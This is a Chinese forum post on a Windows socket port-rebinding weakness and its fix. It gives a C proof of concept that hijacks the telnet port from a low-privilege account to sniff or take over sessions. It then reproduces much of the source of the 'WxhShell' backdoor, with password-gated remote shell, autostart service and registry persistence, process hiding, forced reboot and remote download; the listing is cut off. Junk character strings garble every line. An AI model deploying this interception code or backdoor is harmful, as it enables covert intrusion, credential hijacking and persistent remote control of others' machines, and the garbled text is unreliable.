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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TR:4$92:H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4u1au1c  
BD M"";u  
  saddr.sin_family = AF_INET; F*y7 4j,  
~Vc`AcWP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z_Y gV:jc  
2HDWlUTNVO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yz%o?%@  
mC'<Ov<eJ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v/,,z+%-  
"[CR5q9Pr  
  这意味着什么?意味着可以进行如下的攻击: gc W'  
YOY2K%o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @680.+Kw  
= @lM*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Uf|@h  
SYgkYR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I8\R7s3  
pwNF\ ={  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z5"5Ge-M  
V:lKF')  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3.Jk-:u %m  
nMBF/75  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 AzSmfEaU0  
tjcsT>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w%%*3[--X  
J #;|P-pt  
  #include ]5e|W Q>*X  
  #include zTw<9Nf  
  #include .Z@iz5  
  #include    @ b} -<~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gdg "g6b  
  int main() p }3$7CR/  
  { R^yh,  
  WORD wVersionRequested; -E.fo._L5  
  DWORD ret; R vd'uIJ  
  WSADATA wsaData; BfDC[(n`  
  BOOL val; L!Gpk)}[i  
  SOCKADDR_IN saddr; a@C}0IP)  
  SOCKADDR_IN scaddr; CZkmd  
  int err; {-hu""x>  
  SOCKET s; Yd<9Y\W%?  
  SOCKET sc; ~8)l/I=`);  
  int caddsize; 4!-/m7%eF  
  HANDLE mt; ah#jvp  
  DWORD tid;   +*wo iSD  
  wVersionRequested = MAKEWORD( 2, 2 ); GFvLd:p` [  
  err = WSAStartup( wVersionRequested, &wsaData ); HHT8_c'CC#  
  if ( err != 0 ) { ,9$|"e&  
  printf("error!WSAStartup failed!\n"); m-Qy6"eW  
  return -1; Xj<xen(  
  } 4@M`BH`  
  saddr.sin_family = AF_INET; 9dva]$^:*1  
   7MhaLkB_6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :,.HJ[Vg&  
vJ>o9:(6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &_'3(xIO  
  saddr.sin_port = htons(23); #`%V/#YK  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JHJ]BMm  
  { D=M'g}l  
  printf("error!socket failed!\n"); (bD#PQXzm  
  return -1; 12l1u[TlS  
  } |)[&V3+|  
  val = TRUE; NZ% v{?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 b{.Y?.U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 43*;"w=  
  { IB^vEY!`6_  
  printf("error!setsockopt failed!\n"); S)`@)sr  
  return -1; qCm8R@  
  } n9V8A[QJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Tz7|OV_W$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i4)]lWnd  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pV$A?b"?*  
D&D-E~b^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N,&bBp  
  { S>d7q  
  ret=GetLastError(); )qRE['M  
  printf("error!bind failed!\n"); )Dyyb1\)  
  return -1; UryHte  
  } 5YXMnYt9  
  listen(s,2); _RWH$L9  
  while(1) 6Z;D`X,5  
  { "||' -(0  
  caddsize = sizeof(scaddr); CJ6vS  
  //接受连接请求 fjm 3X$tR  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); tQ)l4Y 8  
  if(sc!=INVALID_SOCKET) >KJE *X@s  
  { w NMA)S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rE?B9BF3O  
  if(mt==NULL) r>t|.=!  
  { :#=B wdC  
  printf("Thread Creat Failed!\n"); m" ]VQnQ  
  break; ozl>Au  
  } w=[ITQ|W%  
  } {&nDm$KTD  
  CloseHandle(mt); m(CsO|pz  
  } N"zl7.E  
  closesocket(s); sc z8 `%  
  WSACleanup(); Sre:l'.  
  return 0; )O>M~  
  }   1|$J>  
  DWORD WINAPI ClientThread(LPVOID lpParam) )00jRuF  
  { v3cLU7bi?2  
  SOCKET ss = (SOCKET)lpParam; /Y [ b8f  
  SOCKET sc; SGpe\P]k  
  unsigned char buf[4096]; K~~LJU3  
  SOCKADDR_IN saddr; /pJr%}sc  
  long num; R4S))EHg  
  DWORD val; )#,a'~w  
  DWORD ret; ,t39~w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /`7G7pQ+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M%5_~g2n'\  
  saddr.sin_family = AF_INET; M[L@ej  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eH%i8a  
  saddr.sin_port = htons(23); F`.W 9H3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BfQ#5  
  { &0OH:P%  
  printf("error!socket failed!\n"); o}yA{<"  
  return -1; |oR#j `  
  } n`p/;D=?  
  val = 100; Iv?1XI=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ix 5\Y  
  { ZpZoOdjslV  
  ret = GetLastError(); NFI~vkk'G  
  return -1; Iz&<rL;s  
  } '<AE%i,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aUKa+"`S  
  { sfsK[c5bm  
  ret = GetLastError(); 5Z13s  
  return -1; r(g2&}o\  
  } :d@RN+U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \M~uNWv|  
  { rWJKK  
  printf("error!socket connect failed!\n"); 9/O\769"'  
  closesocket(sc); +xNq8yS  
  closesocket(ss); /.(F\2+A  
  return -1; F mQiy+.|  
  } 7+rroCr"  
  while(1) +d3h @gp  
  { 35YDP|XZb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @ZtvpL}e  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $Y%,?>AL<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tNxKpA |F  
  num = recv(ss,buf,4096,0); $"3cN&  
  if(num>0)  xC2y/ ?  
  send(sc,buf,num,0); t]xR`Rr;X  
  else if(num==0) z/i&Lpr:  
  break; c\rP"y|S};  
  num = recv(sc,buf,4096,0); rC6EgWt<V  
  if(num>0) `(~oZbErM  
  send(ss,buf,num,0); 8>DX :`  
  else if(num==0) b>nwX9Y/U  
  break; +KIFLuL  
  } y>ePCDR3  
  closesocket(ss); .<6'*X R  
  closesocket(sc); $Eo-58<q  
  return 0 ; !)FKF7'  
  } J$,bsMIX  
J?f7!F:8  
B8zc#0!1  
========================================================== dRBWJ/ 1T  
e)|5 P  
下边附上一个代码,,WXhSHELL 8/-hODoT_  
qrc ir-+  
========================================================== gVs@T'  
8B6 -f:  
#include "stdafx.h" Q 2 B  
%5j*e  
#include <stdio.h> 2QKt.a  
#include <string.h> :%IB34e  
#include <windows.h> ^-(DokdBn  
#include <winsock2.h> }zrapL"9X  
#include <winsvc.h> `|4k>5k  
#include <urlmon.h> `Cz_^>]|=  
G1wJ]ar  
#pragma comment (lib, "Ws2_32.lib") UFyk%#L  
#pragma comment (lib, "urlmon.lib") iO}KERfU  
"fu@2y4^  
#define MAX_USER   100 // 最大客户端连接数 *4c5b'u  
#define BUF_SOCK   200 // sock buffer I~,bZA  
#define KEY_BUFF   255 // 输入 buffer _BG7 JvI  
_[N*k"  
#define REBOOT     0   // 重启 Y$W)JWMY`  
#define SHUTDOWN   1   // 关机 M} Mgz  
Zl?9ibm;@  
#define DEF_PORT   5000 // 监听端口 {}BAQ9|q  
3lN@1jlh  
#define REG_LEN     16   // 注册表键长度 </_.+c [  
#define SVC_LEN     80   // NT服务名长度 0Q[;{}W}  
}`]Et99Q5  
// 从dll定义API "1rT> ASWI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [NbW"Y7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BVS SO's  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); euET)Ccq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b T** y?2  
1?,C d  
// wxhshell配置信息 p,7?rI\N  
struct WSCFG { Xl E0oN~{  
  int ws_port;         // 监听端口 -a7BVEFts  
  char ws_passstr[REG_LEN]; // 口令 FDuIm,NI  
  int ws_autoins;       // 安装标记, 1=yes 0=no G'{&*]Z\:  
  char ws_regname[REG_LEN]; // 注册表键名  |?ZNGPt  
  char ws_svcname[REG_LEN]; // 服务名 5JS*6|IbD{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2fP;>0?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1e I_F8I U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @su!9]o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l$m}aQ%h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j k&\{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @I?: x4  
HP:[aR!2P  
}; AL|3_+G  
,?wxW  
// default Wxhshell configuration $5>m\wrl  
struct WSCFG wscfg={DEF_PORT, f0*_& rP  
    "xuhuanlingzhe", \Npvm49  
    1, ow#8oUf=  
    "Wxhshell", -cP1,>Ahv  
    "Wxhshell", 0+AMN-  
            "WxhShell Service", N\Ab0mDOV.  
    "Wrsky Windows CmdShell Service", ;&MnPFmq  
    "Please Input Your Password: ", `k(m2k ?  
  1, kv<(N  
  "http://www.wrsky.com/wxhshell.exe", Nop61zj  
  "Wxhshell.exe" "_:6v64Gx  
    }; yh.WTgcW  
K+Pa b ?  
// 消息定义模块 )-25?B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `tl-] ^Y2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fP llN8n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p:3w8#)MZ  
char *msg_ws_ext="\n\rExit."; wcGv#J],  
char *msg_ws_end="\n\rQuit."; n/YnISt  
char *msg_ws_boot="\n\rReboot..."; #It!D5A  
char *msg_ws_poff="\n\rShutdown..."; lLI%J>b@  
char *msg_ws_down="\n\rSave to ";  gOy{ RE  
o Va[  
char *msg_ws_err="\n\rErr!"; :c(#03w*C  
char *msg_ws_ok="\n\rOK!"; l0tFj>q"  
t;_1/ mt  
char ExeFile[MAX_PATH]; (*\y  
int nUser = 0; A:5P  
HANDLE handles[MAX_USER]; X,D ]S@  
int OsIsNt; w{GEWD{&  
GK#D R/OM  
SERVICE_STATUS       serviceStatus; D[{"]=-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VREDVLQT  
8#HQ05q>  
// 函数声明 0f9U:)1z  
int Install(void); x!u6LDq0  
int Uninstall(void); e1hf{:&/G@  
int DownloadFile(char *sURL, SOCKET wsh); 15MKV=?oY  
int Boot(int flag); \!*F:v0g^  
void HideProc(void); ;Hb"SB  
int GetOsVer(void); =>7czw:S 1  
int Wxhshell(SOCKET wsl); Hro)m"  
void TalkWithClient(void *cs); 4G RHvA.  
int CmdShell(SOCKET sock); /bmkt@$-0  
int StartFromService(void); Sp]ov:]%f  
int StartWxhshell(LPSTR lpCmdLine); Y@+9Ukd/  
P=X)Ktmv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OXZx!h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !e('T@^u6u  
,I:[-|Q  
// 数据结构和表定义 boZ/*+t  
SERVICE_TABLE_ENTRY DispatchTable[] = ;HiaX<O!  
{ -?Cu-'  
{wscfg.ws_svcname, NTServiceMain}, LYTnMrM  
{NULL, NULL} }TDq7-(g  
}; zR?1iV.]  
qipS`:TER  
// 自我安装 1+Vei<H$  
int Install(void) MPLeqk$;  
{ tZ:fOM  
  char svExeFile[MAX_PATH]; C}\kp0mz  
  HKEY key;  !>Q{co'  
  strcpy(svExeFile,ExeFile); D2zqDo<+;  
wkT4R\H>  
// 如果是win9x系统,修改注册表设为自启动 [5Zi\'~UH)  
if(!OsIsNt) { 'lmjZ{k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l !ZzJ&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); muO;g&  
  RegCloseKey(key); A@reIt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?28)l 4 Ml  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {_ZbPPh;M"  
  RegCloseKey(key); &+GbklUB~  
  return 0; !ED,'d%J  
    } ;XXEvRk  
  } Uh^j;s\y  
} =q[ynZ8O\w  
else { 1"T&B0G3l  
E cd~H+  
// 如果是NT以上系统,安装为系统服务 rK4 pYo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?S.LGc  
if (schSCManager!=0) B9'2$s+Z;  
{ S}K-\[i?  
  SC_HANDLE schService = CreateService >uE<-klv  
  ( eYPIZ{S7h  
  schSCManager, Gz7,g Y  
  wscfg.ws_svcname, $BOpjDV8  
  wscfg.ws_svcdisp, 8qT^=K $  
  SERVICE_ALL_ACCESS, <g, 21(bc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <XzRRCYQ  
  SERVICE_AUTO_START, ='(;!3ZH  
  SERVICE_ERROR_NORMAL, EpENhC0  
  svExeFile, M* dou_Q  
  NULL, Qd}h:U^  
  NULL, Z-aB[hE  
  NULL, Q|f)Awe$  
  NULL, (AHTv8  
  NULL #c-Jo[%G  
  ); q\Z9.T+Qo  
  if (schService!=0) WctGhGH  
  { \]Rmq_O  
  CloseServiceHandle(schService); #*G}v%Ow/u  
  CloseServiceHandle(schSCManager); >jc17BJq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vQ[ Tc V  
  strcat(svExeFile,wscfg.ws_svcname); E%$[*jZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G ahY+$L,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c43&[xP Lz  
  RegCloseKey(key); v=D4O.  
  return 0; ~:-V<r,pe  
    } u#0EZ2 >#  
  } j0S[JpoF  
  CloseServiceHandle(schSCManager); S4{\5ulr7  
} l#]+I YD  
} pH0MVu(W  
:{?Pq8jP  
return 1; ,MD >Jx|  
} $ccCI \  
i^ eDM.#X  
// 自我卸载 07Oagq(  
int Uninstall(void) ]jV1/vJ-!  
{ ) 3I|6iS  
  HKEY key; YV6w}b:  
kb'l@d#E  
if(!OsIsNt) { :Y)G-:S+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  3;Tsjv}  
  RegDeleteValue(key,wscfg.ws_regname); 3.%jet1  
  RegCloseKey(key); PH!rWR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wT:mfS09N  
  RegDeleteValue(key,wscfg.ws_regname); yI's=Iu`  
  RegCloseKey(key); l+?sR<e?!  
  return 0; 6Q`7>l.|?  
  } fjS#  
} kFi=^#J{  
} a1ai?},  
else { ['I5(M@  
I5g!c|#y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M U2];  
if (schSCManager!=0) --TY[b  
{ N ^H H&~V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T7*p! 0  
  if (schService!=0) wVUm!Y  
  { XMpE|M! c  
  if(DeleteService(schService)!=0) { smX&B,&@  
  CloseServiceHandle(schService); 7] 17?s]t,  
  CloseServiceHandle(schSCManager); "9;Ay@'B  
  return 0; vFK(Dx  
  } EyV6uk~  
  CloseServiceHandle(schService); 1(4IcIR5T;  
  } N'8}5Kx5  
  CloseServiceHandle(schSCManager); I0sw/,J/Z  
} 8FBXdk?A  
} wQX%*GbL2  
0f,Ii_k bT  
return 1; *w1R>  
} M532>+A]Za  
*)i+c{~  
// 从指定url下载文件 \p!mX|  
int DownloadFile(char *sURL, SOCKET wsh) BR0P :h  
{ lAx8m't}6  
  HRESULT hr; w5mSoK b  
char seps[]= "/"; ( z.\,M  
char *token; Yd<q4VJR  
char *file; SY+$8^  
char myURL[MAX_PATH]; xx,|n  
char myFILE[MAX_PATH]; \05 n$.  
T?8N$J  
strcpy(myURL,sURL); pg4jPuCM  
  token=strtok(myURL,seps); 1Gk'f?dw  
  while(token!=NULL) lLuAgds`  
  { Fpntd IU  
    file=token; X6o iOs  
  token=strtok(NULL,seps); ['@R]Si"!  
  } efm#:>H  
4+a u6ABy  
GetCurrentDirectory(MAX_PATH,myFILE); /Y*6mQ:  
strcat(myFILE, "\\"); U\;mM\2rE  
strcat(myFILE, file); }I#,o!)Vd  
  send(wsh,myFILE,strlen(myFILE),0); M"z3F!-j  
send(wsh,"...",3,0); NSQf@o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Su[f"2oR  
  if(hr==S_OK) Y_M3-H=0  
return 0; qF4pTQf  
else J ?H| "  
return 1; zvh&o*\2<d  
$lAhKpdlW  
} (\$=+' hy  
%2rUJaOgy$  
// 系统电源模块 c`!8!R  
int Boot(int flag) [214b=  
{ wTu=v  
  HANDLE hToken; 7f q\ H{  
  TOKEN_PRIVILEGES tkp; M1=y-3dW3  
AO^c=^  
  if(OsIsNt) { nV?e(}D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j*@EJ"Gm>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O.wk*m!9  
    tkp.PrivilegeCount = 1; -'::$ {  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )Xd2qbi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HiDL:14  
if(flag==REBOOT) { YBY!!qjPx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .k:Uj-&  
  return 0; #6qLu  
} M9dUo7  
else { |%7OI#t^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gX *i"Y#  
  return 0; YDo,9  
} <!.Qn Y  
  } 5SmgE2}  
  else { UNd+MHE74I  
if(flag==REBOOT) { &io*pmUm6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %%Z|6V74  
  return 0; >PK\bLEo  
} D*o[a#2_  
else { 8i?h{G IMV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h**mAa0fo  
  return 0; ,#QLc  
} gIaPS0Q  
} =[V  
Z\P&i#  
return 1; ,[0rh%%j  
} <{b#nPc!,#  
IBe0?F #  
// win9x进程隐藏模块 $sR-J'EE!  
void HideProc(void) 4 | DGQ  
{ MbeO(Q  
b0"R |d[i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?*)wQZt;  
  if ( hKernel != NULL ) 8gI~x.k`  
  { !)TO2?,^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,mW-O!$3W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8t Ef>  
    FreeLibrary(hKernel); ?g #4&z.  
  } =f{YwtG  
{pW(@4U  
return; / qo`vk A  
} [P?.( *  
[ZkK)78}k  
// 获取操作系统版本 k->cqtG  
int GetOsVer(void) 4mJ[Wr\y  
{ p(]o#$ 6[  
  OSVERSIONINFO winfo; )rFcfS+/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;NeN2|I]  
  GetVersionEx(&winfo); 74q |FQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7ZRLSq'S  
  return 1; {QRrAi  
  else I4"U/iL51  
  return 0; QnNddCiu=  
} p6e9mSs  
X:Z*7P/  
// 客户端句柄模块 6t(I.>-  
int Wxhshell(SOCKET wsl) dY%>C75O  
{ >,. x'{  
  SOCKET wsh; 4P\?vz"  
  struct sockaddr_in client; .8.LW4-ff  
  DWORD myID; vD*9b.*  
G.#sX  
  while(nUser<MAX_USER) \@i4im@%xU  
{ dF/HKBJ  
  int nSize=sizeof(client); 4Sxt<7[f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =ADdfuKN  
  if(wsh==INVALID_SOCKET) return 1; L 2:N@TP  
RTR@p =ck  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )w3HC($g  
if(handles[nUser]==0) )dgo oq  
  closesocket(wsh); -^%YrWgd?  
else $"G=r(MW  
  nUser++; t&99ZdE  
  } &;O)Dw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IrZ!.5%tV  
P<WCW3!JZ  
  return 0; p+>vX X  
} zgh~P^Z  
K9(Su`zr  
// 关闭 socket 0ynvn9@t  
void CloseIt(SOCKET wsh) ,S7 g=(27(  
{ KDzTe9  
closesocket(wsh); YZH &KGY  
nUser--; D-IXO @x  
ExitThread(0); BE]PM nI  
} wkwsBi  
#^ cmh  
// 客户端请求句柄 ~qxuD_  
void TalkWithClient(void *cs) "dO>P*k,  
{ Hkck=@>8H*  
U F ]g6u  
  SOCKET wsh=(SOCKET)cs; XV> )[Nd\H  
  char pwd[SVC_LEN]; P,@ :?6  
  char cmd[KEY_BUFF]; NlnmeTLO5  
char chr[1]; Y uo  
int i,j; atA:v3"  
s,|s;w*.  
  while (nUser < MAX_USER) { <(U :v  
:UgCP ~Y  
if(wscfg.ws_passstr) { 2l9RU}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z7t-{s64  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0=^A{V!m  
  //ZeroMemory(pwd,KEY_BUFF); ]7ZY|fP2  
      i=0; @3:oo /;  
  while(i<SVC_LEN) { A!&hjV`  
C3p/|{TP  
  // 设置超时 .%rB-vO:g  
  fd_set FdRead; ,:e##g~k  
  struct timeval TimeOut; 7sci&!.2`  
  FD_ZERO(&FdRead); ,`ZIW  
  FD_SET(wsh,&FdRead); +bbhm0f  
  TimeOut.tv_sec=8; a;2Lgv0/  
  TimeOut.tv_usec=0; *Bgk3(n)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .^%!X!r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3Y}X7-|)Z  
aMaFxEW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *75?%l  
  pwd=chr[0]; (t\ F>A  
  if(chr[0]==0xd || chr[0]==0xa) { +80yyn#  
  pwd=0; ]"Qm25`Qz  
  break; 1|c\^;cTkt  
  } 6fOh *  
  i++; #6%9*Rh  
    } ^l(Kj3gM  
"7*cF>FE8  
  // 如果是非法用户,关闭 socket Mk-Rl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @}{~Ofs  
} vQ/&iAyut  
E4nj*Lp~+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xxlYn9ke  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "$VqOSo  
@+3@Z?!SZ  
while(1) { i"{ \ >  
6H\apgHm  
  ZeroMemory(cmd,KEY_BUFF); X~ AE??  
'<35XjW  
      // 自动支持客户端 telnet标准   ; iK9'u  
  j=0; >lRa},5(  
  while(j<KEY_BUFF) { ]ctlK'.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *0 0K3  
  cmd[j]=chr[0]; ?1z." &  
  if(chr[0]==0xa || chr[0]==0xd) { Y0||>LX  
  cmd[j]=0; n' \poB?  
  break; DhL]\ 4  
  } '01ifA^  
  j++; ,KMt9 <  
    } %S<0l@=5`l  
_Co*"hl>2  
  // 下载文件 +s}"&IV%  
  if(strstr(cmd,"http://")) { Q599@5aS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u5, \Kz  
  if(DownloadFile(cmd,wsh)) w1je|Oil  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zljj  
  else `nxm<~-\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kAEm#oz=g  
  } =3Y:DPMB  
  else { yX:*TK4  
O+Zt*jN;  
    switch(cmd[0]) { 39w|2%(O.  
  ]0VjVU-  
  // 帮助 ?~;8Y=O  
  case '?': { i9NUv3#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wq+6`o  
    break; /GK1}h  
  } *)V1Sd#m  
  // 安装 d8|bO#a%9  
  case 'i': { (qDu|S3P  
    if(Install()) p#~Dq(Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `@acQs;0  
    else Qg\OJmv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JY+ N+c\  
    break; tntQO!pM  
    } q&h&GZ  
  // 卸载 oCBZ9PGkK  
  case 'r': { }=':)?'-.  
    if(Uninstall()) ,<[Q/:}[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !18M!8Xea  
    else [f'V pId8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :<    
    break; ;'.[h*u~<  
    } 0u]!C"VX  
  // 显示 wxhshell 所在路径 Xgge_`T9  
  case 'p': { ] Fx9!S  
    char svExeFile[MAX_PATH]; 1]L 0r  
    strcpy(svExeFile,"\n\r"); C0xj M0  
      strcat(svExeFile,ExeFile); X  8V^  
        send(wsh,svExeFile,strlen(svExeFile),0); t,*hxzD"  
    break; jXBAo  
    } r>=)Y32Q  
  // 重启 \;z *j|;B  
  case 'b': { { XN"L3A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E1U~ ew  
    if(Boot(REBOOT)) TwlrncK*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Z'r;YOzs  
    else { VpDNp (2  
    closesocket(wsh); JsfX&dX0  
    ExitThread(0); ,;aELhMZ  
    } *(%]|z}]m  
    break; 87Sqs1>cw  
    } cr{;gP  
  // 关机 +ht -Bl  
  case 'd': { <<zYF.9L]  
